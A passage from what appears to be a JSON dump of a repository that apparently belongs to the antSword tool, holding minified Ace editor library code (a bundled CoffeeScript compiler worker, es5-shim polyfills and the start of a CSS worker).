r,i,s,o,u,a,l,c,d,v,m,g,y,b,w;for(g=f.merge,o=f.extend,t=o({},t),t.sourceMap&&(m=new n),w=h.tokenize(e,t),t.referencedVars=function(){var e,t,n;for(n=[],e=0,t=w.length;t>e;e++)b=w[e],b.variable&&n.push(b[1]);return n}(),a=p.parse(w).compileToFragments(t),s=0,t.header&&(s+=1),t.shiftLine&&(s+=1),i=0,d=\"\",c=0,v=a.length;v>c;c++)u=a[c],t.sourceMap&&(u.locationData&&!/^[;\\s]*$/.test(u.code)&&m.add([u.locationData.first_line,u.locationData.first_column],[s,i],{noReplace:!0}),y=f.count(u.code,\"\\n\"),s+=y,y?i=u.code.length-(u.code.lastIndexOf(\"\\n\")+1):i+=u.code.length),d+=u.code;return t.header&&(l=\"Generated by CoffeeScript \"+this.VERSION,d=\"// \"+l+\"\\n\"+d),t.sourceMap?(r={js:d},r.sourceMap=m,r.v3SourceMap=m.generate(t,e),r):d}),e.tokens=y(function(e,t){return h.tokenize(e,t)}),e.nodes=y(function(e,t){return\"string\"==typeof e?p.parse(h.tokenize(e,t)):p.parse(e)}),e.run=function(e,t){var n,r,s,o;return null==t&&(t={}),s=_dereq_.main,s.filename=process.argv[1]=t.filename?u.realpathSync(t.filename):\".\",s.moduleCache&&(s.moduleCache={}),r=t.filename?d.dirname(u.realpathSync(t.filename)):u.realpathSync(\".\"),s.paths=_dereq_(\"module\")._nodeModulePaths(r),(!f.isCoffee(s.filename)||_dereq_.extensions)&&(n=i(e,t),e=null!=(o=n.js)?o:n),s._compile(e,s.filename)},e.eval=function(e,t){var n,r,s,o,u,a,f,l,c,h,p,v,m,y,w,E,S;if(null==t&&(t={}),e=e.trim()){if(o=null!=(v=g.Script.createContext)?v:g.createContext,a=null!=(m=g.isContext)?m:function(){return t.sandbox instanceof o().constructor},o){if(null!=t.sandbox){if(a(t.sandbox))E=t.sandbox;else{E=o(),y=t.sandbox;for(l in y)b.call(y,l)&&(S=y[l],E[l]=S)}E.global=E.root=E.GLOBAL=E}else E=global;if(E.__filename=t.filename||\"eval\",E.__dirname=d.dirname(E.__filename),E===global&&!E.module&&!E.require){for(n=_dereq_(\"module\"),E.module=r=new n(t.modulename||\"eval\"),E.require=s=function(e){return n._load(e,r,!0)},r.filename=E.__filename,w=Object.getOwnPropertyNames(_dereq_),u=0,c=w.length;c>u;u++)p=w[u],\"paths\"!==p&&(s[p]=_dereq_[p]);s.paths=r.paths=n._nodeModulePaths(process.cwd()),s.resolve=function(e){return n._resolveFilename(e,r)}}}h={};for(l in t)b.call(t,l)&&(S=t[l],h[l]=S);return h.bare=!0,f=i(e,h),E===global?g.runInThisContext(f):g.runInContext(f,E)}},e.register=function(){return _dereq_(\"./register\")},_dereq_.extensions)for(v=this.FILE_EXTENSIONS,l=0,c=v.length;c>l;l++)s=v[l],null==(r=_dereq_.extensions)[s]&&(r[s]=function(){throw Error(\"Use CoffeeScript.register() or require the coffee-script/register module to require \"+s+\" files.\")});e._compileFile=function(e,t){var n,r,s,o;null==t&&(t=!1),s=u.readFileSync(e,\"utf8\"),o=65279===s.charCodeAt(0)?s.substring(1):s;try{n=i(o,{filename:e,sourceMap:t,literate:f.isLiterate(e)})}catch(a){throw r=a,f.updateSyntaxError(r,o,e)}return n},h=new t,p.lexer={lex:function(){var e,t;return t=p.tokens[this.pos++],t?(e=t[0],this.yytext=t[1],this.yylloc=t[2],p.errorToken=t.origin||t,this.yylineno=this.yylloc.first_line):e=\"\",e},setInput:function(e){return p.tokens=e,this.pos=0},upcomingInput:function(){return\"\"}},p.yy=_dereq_(\"./nodes\"),p.yy.parseError=function(e,t){var n,r,i,s,o,u;return o=t.token,s=p.errorToken,u=p.tokens,r=s[0],i=s[1],n=s[2],i=function(){switch(!1){case s!==u[u.length-1]:return\"end of input\";case\"INDENT\"!==r&&\"OUTDENT\"!==r:return\"indentation\";case\"IDENTIFIER\"!==r&&\"NUMBER\"!==r&&\"STRING\"!==r&&\"STRING_START\"!==r&&\"REGEX\"!==r&&\"REGEX_START\"!==r:return r.replace(/_START$/,\"\").toLowerCase();default:return f.nameWhitespaceCharacter(i)}}(),f.throwSyntaxError(\"unexpected \"+i,n)},o=function(e,t){var n,r,i,s,o,u,a,f,l,c,h,p;return s=void 0,i=\"\",e.isNative()?i=\"native\":(e.isEval()?(s=e.getScriptNameOrSourceURL(),s||(i=e.getEvalOrigin()+\", \")):s=e.getFileName(),s||(s=\"<anonymous>\"),f=e.getLineNumber(),r=e.getColumnNumber(),c=t(s,f,r),i=c?s+\":\"+c[0]+\":\"+c[1]:s+\":\"+f+\":\"+r),o=e.getFunctionName(),u=e.isConstructor(),a=!e.isToplevel()&&!u,a?(l=e.getMethodName(),p=e.getTypeName(),o?(h=n=\"\",p&&o.indexOf(p)&&(h=p+\".\"),l&&o.indexOf(\".\"+l)!==o.length-l.length-1&&(n=\" [as \"+l+\"]\"),\"\"+h+o+n+\" (\"+i+\")\"):p+\".\"+(l||\"<anonymous>\")+\" (\"+i+\")\"):u?\"new \"+(o||\"<anonymous>\")+\" (\"+i+\")\":o?o+\" (\"+i+\")\":i},m={},a=function(t){var n,r;if(m[t])return m[t];if(r=null!=d?d.extname(t):void 0,!(0>w.call(e.FILE_EXTENSIONS,r)))return n=e._compileFile(t,!0),m[t]=n.sourceMap},Error.prepareStackTrace=function(t,n){var r,i,s;return s=function(e,t,n){var r,i;return i=a(e),i&&(r=i.sourceLocation([t-1,n-1])),r?[r[0]+1,r[1]+1]:null},i=function(){var t,i,u;for(u=[],t=0,i=n.length;i>t&&(r=n[t],r.getFunction()!==e.run);t++)u.push(\"  at \"+o(r,s));return u}(),\"\"+t+\"\\n\"+i.join(\"\\n\")+\"\\n\"}}.call(this),t.exports}(),_dereq_[\"./browser\"]=function(){var exports={},module={exports:exports};return function(){var CoffeeScript,compile,runScripts,indexOf=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};CoffeeScript=_dereq_(\"./coffee-script\"),CoffeeScript.require=_dereq_,compile=CoffeeScript.compile,CoffeeScript.eval=function(code,options){return null==options&&(options={}),null==options.bare&&(options.bare=!0),eval(compile(code,options))},CoffeeScript.run=function(e,t){return null==t&&(t={}),t.bare=!0,t.shiftLine=!0,Function(compile(e,t))()},\"undefined\"!=typeof window&&null!==window&&(\"undefined\"!=typeof btoa&&null!==btoa&&\"undefined\"!=typeof JSON&&null!==JSON&&\"undefined\"!=typeof unescape&&null!==unescape&&\"undefined\"!=typeof encodeURIComponent&&null!==encodeURIComponent&&(compile=function(e,t){var n,r,i;return null==t&&(t={}),t.sourceMap=!0,t.inline=!0,r=CoffeeScript.compile(e,t),n=r.js,i=r.v3SourceMap,n+\"\\n//# sourceMappingURL=data:application/json;base64,\"+btoa(unescape(encodeURIComponent(i)))+\"\\n//# sourceURL=coffeescript\"}),CoffeeScript.load=function(e,t,n,r){var i;return null==n&&(n={}),null==r&&(r=!1),n.sourceFiles=[e],i=window.ActiveXObject?new window.ActiveXObject(\"Microsoft.XMLHTTP\"):new window.XMLHttpRequest,i.open(\"GET\",e,!0),\"overrideMimeType\"in i&&i.overrideMimeType(\"text/plain\"),i.onreadystatechange=function(){var s,o;if(4===i.readyState){if(0!==(o=i.status)&&200!==o)throw Error(\"Could not load \"+e);if(s=[i.responseText,n],r||CoffeeScript.run.apply(CoffeeScript,s),t)return t(s)}},i.send(null)},runScripts=function(){var e,t,n,r,i,s,o,u,a,f,l;for(l=window.document.getElementsByTagName(\"script\"),t=[\"text/coffeescript\",\"text/literate-coffeescript\"],e=function(){var e,n,r,i;for(i=[],e=0,n=l.length;n>e;e++)a=l[e],r=a.type,indexOf.call(t,r)>=0&&i.push(a);return i}(),s=0,n=function(){var t;return t=e[s],t instanceof Array?(CoffeeScript.run.apply(CoffeeScript,t),s++,n()):void 0},r=function(r,i){var s,o;return s={literate:r.type===t[1]},o=r.src||r.getAttribute(\"data-src\"),o?CoffeeScript.load(o,function(t){return e[i]=t,n()},s,!0):(s.sourceFiles=[\"embedded\"],e[i]=[r.innerHTML,s])},i=o=0,u=e.length;u>o;i=++o)f=e[i],r(f,i);return n()},window.addEventListener?window.addEventListener(\"DOMContentLoaded\",runScripts,!1):window.attachEvent(\"onload\",runScripts))}.call(this),module.exports}(),_dereq_[\"./coffee-script\"]}();\"function\"==typeof define&&define.amd?ace.define(function(){return CoffeeScript}):root.CoffeeScript=CoffeeScript}(this)}),ace.define(\"ace/mode/coffee_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/coffee/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"../mode/coffee/coffee\");window.addEventListener=function(){};var o=t.Worker=function(e){i.call(this,e),this.setTimeout(250)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{s.compile(e)}catch(n){var r=n.location;r&&t.push({row:r.first_line,column:r.first_column,endRow:r.last_line,endColumn:r.last_column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-css.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof 